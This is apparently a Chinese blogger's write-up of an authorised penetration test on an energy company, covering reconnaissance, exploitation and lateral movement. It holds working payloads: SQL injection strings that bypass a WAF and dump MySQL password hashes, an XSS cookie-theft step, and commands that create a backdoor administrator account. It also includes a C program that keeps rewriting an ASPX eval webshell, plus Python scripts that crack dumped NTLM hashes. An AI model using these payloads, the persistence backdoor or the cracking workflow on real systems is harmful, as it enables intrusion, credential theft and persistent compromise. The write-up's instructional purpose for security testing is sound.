前言
受到疫情关系地持续影响,广东的学校迟迟未开学,而我已经在家待了快5个月了。某企业授权我去测试下他们公司的整体网络安全性,而且也不会让我白干活,好处是少不了的。因为在家没有什么收入,加上三月份四次美股熔断,全球经济股市普遍暴跌,自己的几百块被牢牢套在了原油里面。
为了能继续有钱加仓抄底原油赚钱翻身,走向人生巅峰,迎娶白富美,我索性答应了下来。
要求:
不能影响业务正常运行
不能盗窃用户数据
目标:
域控服务器
内网相关核心设备
渗透思路:
信息收集>漏洞检测>漏洞利用>权限提升>内外渗透>控制设备>编写渗透报告
信息收集
目标公司是隶属于粤港澳类型在香港上市的一家普通能源公司,这里初期的信息收集可以适用天眼查/小蓝本企业查,我这里使用的是小蓝本企业查(免费)。
输入目标公司的名称检索相关的关键词之后出现到这个家公司和多家旗下的分公司
此外天眼查/小蓝本企业查询还可以查询该公司的网站,不用自己去搜索引擎搜索公司的域名。
这里我筛选了一下公司的域名,我只记录有与目标公司品牌名称匹配的网站域名,为了提高测试渗透测试准确率。
http://www.c***************r.cn/
APP手机客户端资产信息提取:
APP包名:com.*********.****
从apk提取相关域名链接/IP
root@kali:~/wudawei# apktool d wudawei.apk 解压apk客户端安装包
使用grep+正则表达式提取过滤出APK中的IP地址:
grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r wudawei --color=auto
使用grep+正则表达式提取过滤出APK中的域名:
grep -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" -r wudawei --color=auto
把全部资产信息集中复制保存到Excel或者TXT文档中进行一个简单的汇众管理。
漏洞检测
批量漏洞检测工具我主要使用(X-Ray、AWVS13)。AWVS13为批量扫描模式,针对目标网站如果存在WAF防火墙使用批量主动爬虫扫描可能会直接ban了你的IP地址。我通常使Xray的被动扫描,访问流量动静不会太大,不会打草惊蛇。
这里我就用Xray的被动扫描
生成CA证书
配置扫描域名
.\xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output webscan.html
被动扫描
.\xray_windows_amd64.exe webscan --basic-crawler http://www.********.com/ --html-output webscan.html
主动爬虫扫描(容易被Ban IP地址)
批量扫描完之后x-ray会生成一个后缀名为.html格式扫描报告存放在程序根目录位置,扫描报告可能也会存在误报的情况,需要手工进行核对。
漏洞利用
我在扫描报告格式中发现了一例疑似SQL注入的信息,接下来就尝试进行手工SQL注入。
https://www.l****************d.cn/about.php?id=1,php的站点,测试注入
https://www.l****************d.cn/about.php?id=1 and 1=1 # **狗拦截
https://www.l****************d.cn/about.php?id=1 'and -1=-1 -- # 不拦截
使用内联注释猜测字段数
https://www.l****************d.cn/about.php?id=1%27order%23%0aby%201%20--%20+ //正常
https://www.l****************d.cn/about.php?id=1%27order%23%0aby%202%20--%20+ //正常
https://www.l****************d.cn/about.php?id=1%27order%23%0aby%203%20--%20+ //正常
https://www.l****************d.cn/about.php?id=1%27order%23%0aby%204%20--%20+ //正常
https://www.l****************d.cn/about.php?id=1%27order%23%0aby%205%20--%20+ //正常
https://www.l****************d.cn/about.php?id=1%27order%23%0aby%206%20--%20+ //报错
字段数为"5"
联合查询语句,暴出可显示字段:
https://www.l****************d.cn/about.php?id=-1%27%20/*!14440union*//*!14440select%20*/1,2,3,4,5--%20#
发现可显示字段在"3"
/*!14440union*//*!14440select%20*/可以绕过安全狗,当然也可以自己本地Fuzz枚举字典进行模糊测试,
这里我为了节省时间偷懒,我这里直接使用Mysql的聚合函数(group_concat)查询系统信息结果聚合到一个位置,就不再一个个函数放进去查询浪费时间了。
这里祭出我自己拼接好的一个过狗批量查询的payload,只需要把这个Pyload粘贴在可显示字段就行了。
Bypass safety dog Payload:
group_concat(0x3C68343E42797061737320736563757269747920646F672073716C5F696E6A6563743C68343E,0x3C68723E,0x4D7953514C20506F72743A20202020,@@port,0x3C68723E,0x4D7953514C2076657273696F6E3A,@@version,0x3C68723E,0x4D7953514C5F696E7374616C6C5F706174683A2020,@@basedir,0x3C68723E,0x4D7953514C5F64617461626173655F706174683A20202020,@@datadir,0x3C68723E,0x43757272656E7420646174616261736520757365723A20202020,current_user,0x3C68723E,0x73797374656D2076657273696F6E3A20202020,@@version_compile_os,0x3C68723E,0x686F73746E616D653A20202020,@@hostname,0x3C68723E,0x43757272656E742064617461626173653A20202020,database/*!()*/,0x3C68723E,0x5573657220496E666F3A20202020,user/*!()*/)
函数 | 作用 |
---|---|
@@port | 查询端口号 |
@@version | 查询系统版本号 |
@@basedir | 查询数据库软件安装位置 |
@@datadir | 查询数据库存放位置 |
current_user | 查询当前用户 |
@@version_compile_os | 查询操作系统 |
@@hostname | 查询主机名 |
database/*!()*/ | 查询当前数据库 |
user/*!()*/ | 查询用户 |
拼接查询语句后的链接:
https://www.l****************d.cn/about.php?id=-1%27%20/*!14440union*//*!14440select%20*/1,2,group_concat(0x3C68343E42797061737320736563757269747920646F672073716C5F696E6A6563743C68343E,0x3C68723E,0x4D7953514C20506F72743A20202020,@@port,0x3C68723E,0x4D7953514C2076657273696F6E3A,@@version,0x3C68723E,0x4D7953514C5F696E7374616C6C5F706174683A2020,@@basedir,0x3C68723E,0x4D7953514C5F64617461626173655F706174683A20202020,@@datadir,0x3C68723E,0x43757272656E7420646174616261736520757365723A20202020,current_user,0x3C68723E,0x73797374656D2076657273696F6E3A20202020,@@version_compile_os,0x3C68723E,0x686F73746E616D653A20202020,@@hostname,0x3C68723E,0x43757272656E742064617461626173653A20202020,database/*!()*/,0x3C68723E,0x5573657220496E666F3A20202020,user/*!()*/),4,5--%20#
执行结果:
(成功绕过安全狗查询出信息)
从上图的sql注入查询返回的结果我们可以看到此站点相关系统配置信息,此站点是Windows server 64位服务器部署,MySQL版本为5.5.19,MySQL数据用户限制仅本地登录,MySQL端口号为3306,当前用户非root用户。
接下来我们进行尝试查询MySQL数据库的用户账户名和密码哈希
payload:
group_concat(user,0x40,host,0x3A3A3A,password,0x3C62723E3C68723E),4,5 from mysql.user -- #(MySQL数据库版本在:5.x.x)
group_concat(user,0x40,host,0x3A3A3A,authentication_string,0x3C62723E3C68723E),4,5 from mysql.user -- #(MySQL数据库版本在:8.0.19上)
这里使用第一条payload,拼接好payload后如下:
https://www.l****************d.cn/about.php?id=-1%27%20/*!14440union*//*!14440select%20*/1,2,group_concat(user,0x40,host,0x3A3A3A,password,0x3C62723E3C68723E),4,5 from mysql.user -- #
执行结果:
(成功绕过安全狗查出Mysql账号&密码哈希)
拿密码哈希之后进行解密,拿到目标明文的MySQL数据库登录密码。
经过多次查表尝试我也没有查出网站后台管理员的账号和密码(我太菜了),也无法远程登录目标数据库。另外两个的网站都是纯静态网站,没有下手思路,只能把目光放到的APP里的域名中。
由于X-ray与AWVS联动扫描目标APP资产会因为请求速度过快被会导致被目标环境设置防火墙给直接拦截。
没有钱买代理,只能采取被动扫描手机需要需要在WLAN中设置代理,把流量转发给X-ray。然后手机正常用户点击访问目标APP,Xray就会自动扫描。
Xray-扫描完毕之后查看扫描汇总报告,在报告中发现一处目标系统"用户反馈处"存在疑似XSS跨站脚本漏洞,插入弹窗代码看看是否存在xss漏洞
payload:
<script>+-+-1-+-+alert(1)</script>
插入恶意窃取cookis脚本
接下里就是耐心耐心等待管理员上线查看用户反馈了,我守株待兔等了两天时间,xss平台成功接受到了目标管理员的cookies信息。
后台文件上传修改文件后缀名GetShell成功
权限提升:
收集目标主机信息
systeminfo
ipconfig /all
查看IP地址和网卡接口信息
netstat -an
查看网络连接信息
whoami /all
查看当前账户可用权限
当前用户为iis权限小,参考三好学生博客中一篇文章:iis或者sqlserver的用户通常具有SeImpersonatePrivilege和SeAssignPrimaryPrivilege权限(文章传送门),可以尝试使用多汁马铃薯"juicy-potato"(传送门)工具来进行提升账户权限
w.exe -p "whoami"
w.exe -p "net user hong honghong+++ /add"
创建权限维持后门账号
w.exe -p "net localgroup administrators hong /add"
提升账户权限为超级管理员组
Webshell权限持久化
定时向Web某目录写入aspx一句话,这里就直接贴代码
// wudawei.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 #include<Windows.h> #include<string.h> #include<stdio.h> #include<time.h> #include "pch.h" #include <io.h> #include <iostream> #pragma warning(suppress : 4996) int main() { while (1) { Sleep(900);//延迟900秒/15分钟 ShellExecute(NULL, "open", "cmd", "/c echo ^<^%@ Page Language=\"Jscript\"%^>^<^%eval(Request.Item[\"a\"],\"unsafe\");%^>^ > C:\\\\inetpub\\\\wwwroot\\\\webshell.aspx", NULL, SW_HIDE); } }
C:\\\\inetpub\\\\wwwroot\\\\webshell.aspx在Windows Server 的IIS服务器根目录下写入密码为a的一句话木马,路径可以根据实际情况做出对应合适的修改;Sleep(900);为900秒执行一次写入webshell操作。
还有另外一种方式就是控制住Web主机之后,在网站后台管理系统主页界面中插入一段窃取cookis的JavaScript恶意代码。这种方式根据实际情况可以做出对于调整。
内网资产测试:
目标Windows Server WEB主机不出外网:
python reGeorgSocksProxy.py -u http://**********************/2.aspx -l 0.0.0.0 -p 5964
执行reGeorg脚本(-u 脚本位置,-l监听请求地址具体请百度搜索"通配符",-p 端口 0.0.0.0为端口范围)
启动Proxifier工具=>Profile=>Proxy Server
右击mstsc.exe程序选择使用本地127.0.0.1:5964代理进行远程登录目标主机
登录目标服务器成功
利用Everything工具去搜索目标主机上的资产文件:
为什么选择Everything,因为速度快啊;需要在目标主机上安装Everything工具并且开启http服务器绑定一个不冲突的端口地址。
浏览器需要设置代理(Proxy SwitchyOmega)
设置好代理之后,在Chrome浏览器访问目标wen主机内网IP地址:9999,就可以访问到目标主机开放出来的Everything的web搜索界面
这样子可以很方便检索资产文件信息,也方便下载。经过半个小时的搜索,终于在\D盘某目录下发现了一个有价值Excel资产文件表格。该Excel文件中包含了 部分内网交换路由网关设备、域控服务器、打印机服务器等等的登录口令。先登录交换路由设备查看路由表信息。
Xshell设置SockS5代理,选择远程telnet方式登录目标主机
display ip routing-table
可以清楚查看改设备上的路由表信息,Direct为直连路由,Static为静态路由;GE0/12公网接口信息,VLAN1中包含了4个网段(10.5.0.0/16、*.*.*.*/16、*.*.*.*/22、*.*.*.*/5)。
如果想要让目标Windows Server IIS主机可以出外网,需要在设备上添加一条新的静态路由表,下一跳为GE0/12/
H3C官网命令参考:
ip route-static dest-address { mask | mask-length } { next-hop-address [ track track-entry-number ] | interface-type interface-number next-hop-address [ bfd { control-packet | echo-packet } ] | vpn-instance d-vpn-instance-name next-hop-address [ track track-entry-number ] } [ preference preference-value ] [ tag tag-value ] [ description description-text ]
这里添加目标主机网段出外网的静态路由表命令:
ip route-static [目标网段] [目标网段的子网掩码] [下一条地址/接口]
ip route-static 192.168.0.0 255.255.0.0 200.200.200.200
在资产文件表格中找到域控服务器IP和登录口令成功登陆并且在桌面上发现了mima.txt文档(白给):
上传CS免杀payload到域控服务器,并且执行抓取目标机器用户的NTLM密码哈希值:
本地虚拟机杀毒软件测试
Windows NTLM哈希破解
从Cobalt Strike导出用户的密文文本中进一步提取出NTLM密码哈希值为后面的HashCat破解做准备:
代码:
import re import os if __name__ == '__main__': with open("hashdump.txt", "r") as f: data = f.read().splitlines() f = open("pass.txt",'a+',encoding="utf-8") for i in range(len(data)): password_NTLM = str(data[i]) password = re.findall(r"aad3b435b51404eeaad3b435b51404ee:(.+?):::",password_NTLM) print(password[0]) f.write("{}\n".format(password[0])) f.close() print("共计{}".format(len(data)))
提取效果如下:
Hahcat来破解用户的密文哈希值
hashcat64.exe -a 3 -m 1000 --force 密文 --increment --increment-min 8 --increment-max 10 ?a?a?a?a?a?a?a?a?a?a
上面这个指令的意思:-m 代表密文类型;--force 密文 你要破解的密文;--increment-min 8 猜解最小8位,--increment-max 1猜解最大10位的密码 ,?a表示未知密码(涵盖键盘上所有的摁键),?d代表数字、?l代表小写字母、
HashCat具体使用方法请移步先知社区这篇文章(Hashcat的使用手册总结),HashCat比较吃显卡性能。
Demon演示
hashcat64.exe -a 3 -m 1000 --force 209c6174da490caeb422f3fa5a7ae634 --increment --increment-min 4 --increment-max 5 ?l?l?l?l?l
需要更具具体情况去修改密文哈希格式,一般企业的密码都是有规律的,比如google@主机名,这种这种情况可以根据实际情况用python for 循环枚举出全部可能密码,我在之前收集到的信息资产表中,发现了密码格式有一种规律;规律格式为:name@name..主机名 这种格式。name为该公司的拼音,主机名和IP地址的第四段一一对应,开始尝试用python枚举全部密码
def Get(name,kang):
f = open("枚举明文密码.txt",'a+',encoding='utf-8')
for i in range(1,254):
print("{}{}{}{}".format(name,kang,name,i))
f.write("{}{}{}{}\n".format(name,kang,name,i))
if __name__ == '__main__':
Get(name="google",kang="@")
然后把循环枚举出来的明文密码,通过NTLM方式进行加密成NTLM格式的密码,python实现明文转NTLM_Hash
import hashlib,binascii
def NTLM_Hash(password):
hash = hashlib.new('md4', password.encode('utf-16le')).digest()
print(str(str(binascii.hexlify(hash)).replace("b'", '').replace("'", '')))
if __name__ == '__main__':
NTLM_Hash("123456")
把上面两块代码进行融合:
import hashlib,binascii
def NTLM_Hash(password):
f = open('NTLM_Hash_Password.txt','a+',encoding="utf-8")
hash = hashlib.new('md4', password.encode('utf-16le')).digest()
NTLM_Hash_Password = str(str(binascii.hexlify(hash)).replace("b'", '').replace("'", ''))
print("{}———————{}".format(password,NTLM_Hash_Password))
f.write("{}———————{}\n".format(password,NTLM_Hash_Password))
def For_Password(name,kang):
for i in range(1,254):
password = str("{}{}{}{}".format(name,kang,name,i))
NTLM_Hash(password)
print("[+] 完成")
if __name__ == '__main__':
For_Password(name="google", kang="@")
然后提取pass.txt的密文与刚刚明文加密后的密文进行一一比对
with open('pass.txt','r+',encoding="utf-8") as f:
# 读取 CS 上导出N用户TLM密文信息
pass_data = f.read().splitlines()
print("共计:{}".format(len(pass_data)))
with open("NTLM_Hash_Password.txt","r+",encoding="utf-8") as f1 :
# 读取 本地穷举的用户NTLM密文信息
ntlm_pass_data = f1.read().splitlines()
print("共计:{}".format(len(ntlm_pass_data)))
# 两个数列做比对
for i in pass_data:
# 枚举 CS 上导出N用户TLM密文信息
for i2 in ntlm_pass_data:
# 枚举 本地穷举的用户NTLM密文信息
if i in i2:
# 如果 CS 上导出N用户TLM密文信息 被包含于 本地穷举的用户NTLM密文信息 则打印本地NTLM信息
print(i2)
执行上面这段脚本之后,脚本会枚举对比本地生成加密的NTLM密文信息与目标域控机器CS上面拖来的用户NTLM信息进行匹配,拿到明文密码;
如果运气不好枚举不出密码,那就用HashCat尝试跑哈希密码吧。密码拿到之后可以尝试超级弱口令检查工具去进一步批量检测内网主机口令。
内网资产探测
推荐工具使用Goby 下载安装打开之后。点击设置代理,然后扫描。
通过上面扫描报告可以大致了解该网段的资产信息情况和网络拓补图结构,可以开始尝试控制相应的网络设备。
某网关防火墙AC:
内网打印机服务器:
内网邮件服务器:
通讯录服务器:
某主机设备管理系统:
发现某办公区IP段里面有很多Windows 7操作系统的主机,尝试用metasploit检测一波MS17_010
如果要让办公区电脑穿透内网上线的话,需要在外部防火墙网关那边设置一条放行的ACL规则,ACL规则(访问控制列表)放行源地址为办公区的IP地址通配符,目的地址为payload的监听上线地址即可。这里朋友那边没有给我授权,我就不做演示了。
本次的渗透测试已经基本结束了,由于我电脑桌面文件太多没有整理导致很混乱,在事后整理文件编写报告的时候部分截图丢失,导致报告看起来少了些东西,各位不要介意。
最后冒昧咨询一下各位前辈有无好的实习岗位机会推荐,鄙人快要大专毕业,感觉大专毕业生以后没有什么出路。
总结
(1) 内网渗透测试最佳时间建议选择在凌晨2点~早上8点。
(2) Everything在内网渗透测试中搜索敏感资产文件有时候发挥着重要作用。
(3) 域控服务器应该设置指定IP范围登录。桌面上不应该存储着明文密码的文档。
(4) 建议各位以后可以使用微软的OneNote做信息记录。